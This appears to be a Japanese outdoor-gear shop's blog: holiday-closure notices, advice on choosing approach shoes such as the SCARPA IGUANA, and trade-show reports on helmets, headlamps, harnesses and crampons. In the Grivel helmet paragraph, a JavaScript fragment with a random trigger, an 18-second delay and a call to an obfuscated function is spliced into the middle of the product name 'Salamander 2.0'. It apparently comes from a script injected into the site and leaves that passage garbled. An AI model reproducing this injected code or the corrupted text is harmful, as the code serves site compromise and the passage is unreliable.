明日から4日間お休みです!(お盆休みのお知らせ)

暑い日がつづきます。

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で、明日8/13(土)から8/16(火)まで、デナリさんお休みでございます。実店舗・ネットショップともに、8/17(水)から通常営業です。

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皆様も楽しいお休みをお過ごし下さいませ。「安全第一」で!!。

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ちなみに、本日8/12(金)は営業中!。ご用の方、お待ちしております。

IGUANA(イグアナ)、店頭在庫に格上げです! 3/3

その3,:レースの量。

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これもまた「クライミング向けアプローチシューズ」と「アルパインランニング用のシューズ」で大きく違うところです。

地面にべた足で置く靴は、別につま先に紐が無くても力が逃げることがないのでしょうが、先端ばかり使い「インエッジで乗り込む」なんて動作では、靴の中で足が確実に外側に逃げます。

「足、重要!」なことを知ってる皆さんなら、どーします?。「俺、スリッパ派です!」なんて言えるほど、アプローチシューズはキンキンサイズは履きません。紐で締めるしかないのです・・・。

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ちなみに、みんな大好きCRUZER(クルーザー)とIGUANA(イグアナ)を比べるとこんな感じ。もう、結ぶのが面倒になるとココまで自堕落になりますが・・・(笑)。

その4,:木型。

そもそも、靴選びなんてコレに尽きるのかも知れませんが、アプローチスーズにおいてはソールのフリクションなどスペック重視なので、敢えて最後に回します。どーせ、履いてる時間短いし。

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画像左、SCARPA IGUANA(イグアナ)。画像右、LA SPORTIVA  TX-4

ロープ出すか、出さないか、「ハイグレードハイキング」的なアプローチは、もう、簡単なクライミングです(笑)。 

勿論、べた足で地面を歩いている時はワイドラストでもOK。ただ、ブカブカ、ガバガバな足先で岩場のスタンスを拾うとワングレード変わる勢いです!!。

結果、テクニカルアプローチシューズは限られてきます。

1,「インエッジ&アウトエッジなクライミングゾーン」、2,「マルチユースなブロックパターン」、3,「つま先まで配置しているレース」、4,「細型ラスト採用ながらシームレスニットによる快適な履き心地」、更には、5,「お手軽な本体重量と価格!!!」。

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わたしが語るとインチキ臭いかもしれませんが、PEAKS 4月号ではHDの土屋大先生のお墨付きを頂いております!!、間違えございません!、多分・・・(笑)。

それでも納得いかない人は自分で確かめろ!、スペック詳細はコチラから。

IGUANA(イグアナ)、店頭在庫に格上げです! 2/3

今や業界的には、「滑らない」のが当然のアプローチシューズ。ただ、これだけ一杯あると売場やユーザー的には「滑る」可能性大(笑)。

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で、選び方のポイント。

その1,:クライミングゾーン必至。

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最近はアルパインランニング用のシューズも数多く出ていいます。「それっぽい」ので凄く惹かれますが、実際のところ、「似て非なる物」です。裏返してみてみましょう。

簡単な岩を登るにせよ、十分なフリクションが得られるよう、クライミングゾーンのフラット部分は存在します。一方、地面を蹴って走るのにつま先をこんなフラットにされては、ランの人達は走りにくくて仕方ない。

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今までのクライミングゾーンはインエッジの物ばかりでしたが、今シーズンのそれ系はついにアウトエッジまで(笑)。

画像左、MONTURA Yaru Light(ヤル ライト)。画像右、SCARPA IGUANA(イグアナ)。

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その2,:ソールパターンの違い(コイン or  ブロック)。

僕らは、ソールパターンを「コイン」とか「ブロック」で呼び分けています。花崗岩の上を歩くなら、浅いコインは最高ですが、土や泥っぽいところでは、パターンが深いブロックの方が足が残ります。

ちなみに、苔のうえ、濡れた熊笹なんかは、何履いても滑ります。「ハイフリクション!」なんて嘘です(笑)。

IGUANA(イグアナ)、店頭在庫に格上げです! 1/3

この春にリリースされたSCARPA社 IGUANA(イグアナ)ですが、フィールドテストと人体実験は十分、デナリさんでも店頭在庫に格上げします!。

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今やアプローチシューズは群雄割拠時代到来。製品的には「滑らない」のが当然なので、これだけ一杯色んな物があるとどれを選んでイイのやら?・・・。

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値段ですか?、重さですか?、スタイルですか?。

そんな訳で、明日は迷えるマニアに「道具屋さん的選び方のポイント」とご紹介します!。本日は検体となったKくんの足ショットで終わり。

今年は世間様並にお盆休み!(営業日程)

おはようございます。移転してから早8ヶ月。大分落ち着いてまいりましたが、今シーズンはかなり消耗したので、今年は世間様並に「お盆休み!」なんてものを・・・。

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実店舗・ネットショップは、上記日程にてお休みとなります。ご用命は営業日にてお願い致します。

タチの悪いゲリラが頻発する今日この頃、お休みする以上は、ガッチリ高気圧に覆われた安定した天気を激しく望むなり!!。

展示会な日々(その5)

ここ最近、ギア系メーカーさんの展示会場が集約されたのはイイが、1日の労働時間が増えて困る。マジックマウンテンさんに移動。

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先ずはコレ。新製品のStealth(ステルス)。カタログスペック驚異の200g切りの194g、首振っても全然気にならない重さ。

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そんでもって、コチラ改良品のSalamandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ander 2.0(サラマンダー 2.0)。

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今までのGRIVELヘルメットと言えば、「とにかくデカい頭でもOK」的な印象でしたが、今回は一変します。普通のサイズ感です。わたくしの鉢周りでは「ニットキャップ着用不可」ってサイズ感です(笑)。

最後の入荷から1年過ぎますが、バックオーダーは入れているものの、入荷予定などありません!。で、気が付けばモデルチェンジ!?。頭がでかい人にとって、こーゆーのは「改良」ではなく「改悪」です!!。

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あと、ぐるぐるダイヤルシステムのアジャスターは紐に変更ですが、ダブルスライダーとは違い、片引き調整なので思いの外使いやすいっス。

展示会な日々(その4)

で、こんなのもリニュアル。

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画面左REACTIK(リアクティック)、画面右REACTIK+(リアクティック プラス)。

それぞれTIKKA R+(ティカアールプラス)・TIKKA RXP(ティカ アールエックスピー)の後継機種。

値段も安くなるので、お薦めとしては3目でOS by Petzlアプリも使えるREACTIK+(リアクティック プラス)ですかね。発売はこの秋ともう直ぐ。

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雪稜歩き向きなハーネスも出ます。オレンジ色のALTITUDE(アルティチュード)と地味目なTOUR(ツアー)。アルティチュードはSITTA(シッタ)さん同様、「ワイヤーフレームテクノロジー」構造の超軽量ハーネス。

ただ、150gではもう、驚けません・・・。

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「サブピッケル」として活躍しそーなのRIDE(ライド)は、スチール製ヘッド(シャベル~トンカチ)採用の45cm/240g。これもこの秋冬には来ます。

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あと、ペアで360g(アンチスノー別)なLEOPARD FL(レオパード FL)なんかも気になるアイテムです。

展示会な日々(その3)

で、ピックにも追加アイテムです。PUR’ICE(ピュアアイス)。

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大きな違いは、既存のICE(アイス)やDRY(ドライ)が「T」なのに、PUR’ICE(ピュアアイス)は「B」規格となり、厚みも薄くなります。

まぁ、工場長の作業が若干減る程度、「廃業」には程遠い厚み(笑)。

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 先端の形状や▲山のテーパーが違います。

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ちなみに、コチラ、あくまでもオプションパーツなので、デフォルトQUARK(クオーク)・NOMIC(ノミック)はICE PICK(アイスピック)継続。

展示会な日々(その2)

先ずは、昨日の答え。1,フロント・ヒールブロックのフレーム変更。2,それにともなうアンチスノー変更。3,センターバー・アジャスタープレートの変更。4,ヒールバックル。5,フレックスフィル標準装備(レバーロックユニバーサル LLU)。

まぁ、簡単に言うと変更なしは「紐ぐらい」ってところでしょーか?。

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個人的には、フレックスフィルが標準装備なのは、大いに嬉しい。↑。前コバある3シーズンブーツなんかそーそー見ないし、靴買うのに心が痛むクランポン買い増し提案しなくてよい。

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ただ、ヒールバックルにアジャスターがなくなったのは ↓。「ワイヤー穴3つで勝負!」って結構難しくない?。

某S社の靴なんか、デフォルトでヒールの高さずれてるなんて普通なので、靴によっては「相性悪い!」なんての事があるだろーね。繊細な調整をしたい人は、アジャスター付きヒールは貴重品となりますので「買い!」です。

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で、既存モデル持っている人にもイイ事はあります。フレックスフィルやフロントブロックのスペアパーツとしての「別売」がはじまります。「相当前爪チビった!」なんて時は即交換。

ただ、フレーム変更でセンターバー・アンチスノーにも変更がありますので、実際合わせて見ないと詳細は分かりません。今のところ、「まぁ、いけるでしょ!?」って感じなので、マニアの方は時期になったらまたご相談下さい。

で、「今シーズンからアイスクライミングも視野にデビュー」なんて人は、「1.5台持ちでOK!」なんで、買う順番間違えないよーにしないとね。

展示会な日々(その1)

ここ最近の展示会は、年々加速する割には「驚きの新製品!」はございません。って言うか、情報が早すぎて感動に欠ける。

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で、まずは冬の新製品が確実に触れるアルテリアさんのブースです、安牌。

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日本ではこの秋のデリバリーから、クランポンが全面的に変わります。

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例えば、VASAK(バサック)。左がFW16モデル。右がFW17モデル。

で、宿題です。何処が変わったでしょう?。

真面目にチェックしたい方はコチラ